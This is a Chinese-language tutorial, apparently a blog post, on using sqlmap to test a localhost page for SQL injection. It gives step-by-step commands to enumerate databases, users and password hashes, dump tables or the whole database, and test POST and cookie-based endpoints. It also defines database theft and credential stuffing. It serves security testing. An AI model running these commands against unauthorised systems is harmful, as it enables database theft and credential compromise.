sqlmap这个工具都能做什么事?
以下A->J的部分都可以做到
渗透开始:–Get请求
A. 检查是否有注入点
(进入到sqlmap的目录下执行)
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch
注:每次执行完一次需要把日志删掉(执行结果里有日志目录),不然下次执行时不会重新注入而是从日志去拿,两次得到的结果是一样的。
怎么看是否有注入?
执行完有注入会返回一句话:sqlmap resumed the following injection point(s) from stored session:。。。。。。
B. 暴库
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch --dbs
(得到的结果中可以看到连的机器下面一共有几个库)
C. 找出web接口当前使用哪个数据库
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch --current-db
(可以得到当前使用的数据库是哪个)
D. 找出web接口当前数据库的账户:
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch --current-user
(得到哪个账号访问的哪个库)
E. 列出数据库所有用户:
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch --users
(得到一共几个账号,分别是什么)
F. 获取数据库账号与密码:
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch --passwords
(得到某个账号的几个密码分别是什么,加密&解密)
G. 获取当前数据库的所有表:
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch -D 库名 --tables
注:-D代表当前某库
(得到当前库下有几张表,分别是什么)
H. 找出表中都有哪些字段:
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch -D 库名 -T autolog --columns
注:-D代表某个库,-T代表某个表,–columns代表表中所有列字段
(得到哪个库里面的哪张表有几列,每列分别是什么且是什么类型)
I. 爆字段内容
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch -D 库名 -T autolog -C id,reqUrl,reqData --start1 --stop10 --dump
注:-C代表指定的字段(column的意思) --dump导出,否则shell上不会显示内容,只能到日志中查看
–start指定导出的开始的行 --stop指定导出结束的行
(得到指定行的指定列内容,还能放在日志中)
J. 拖库(把库里面所有的内容进行一个快照,区别于爆字段,会把所有的库里面的所有数据都打印出来)
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get2.html?id=5” --batch --dump-all
(得到所有库的内容)
基础知识:
拖库:是指黑客入侵有价值的网络站点,把注册用户的资料数据库全部盗走的行为,因谐音也经常被称作脱裤。
洗库:在取得大量的用户数据之后,黑客会通过一系列的技术手段和黑色产业链将有价值的用户数据分类及变现。
撞库:黑客将得到的数据在其他网站上进行尝试登录。
渗透开始: --post请求
A. 检查是否有注入点
python sqlmap.py -u “http://localhost:8080/sqlmap/test/get3.html” --data=“id=5” --batch
注:post请求参数用 --data
B. 依赖cookie的接口-注入测试
思路:
1、先手工登录系统,通过抓包获取到cookie
2、注入测试时添加cookie
格式: python sqlmap.py -u “xx” --data=“xx” --cookie=“xx” --batch --dbs --level 2
注:level 1不会自动扫描cookie的漏洞,至少大于等于2
总结:
1、sql注入测试介入时机
接口测试,功能测试阶段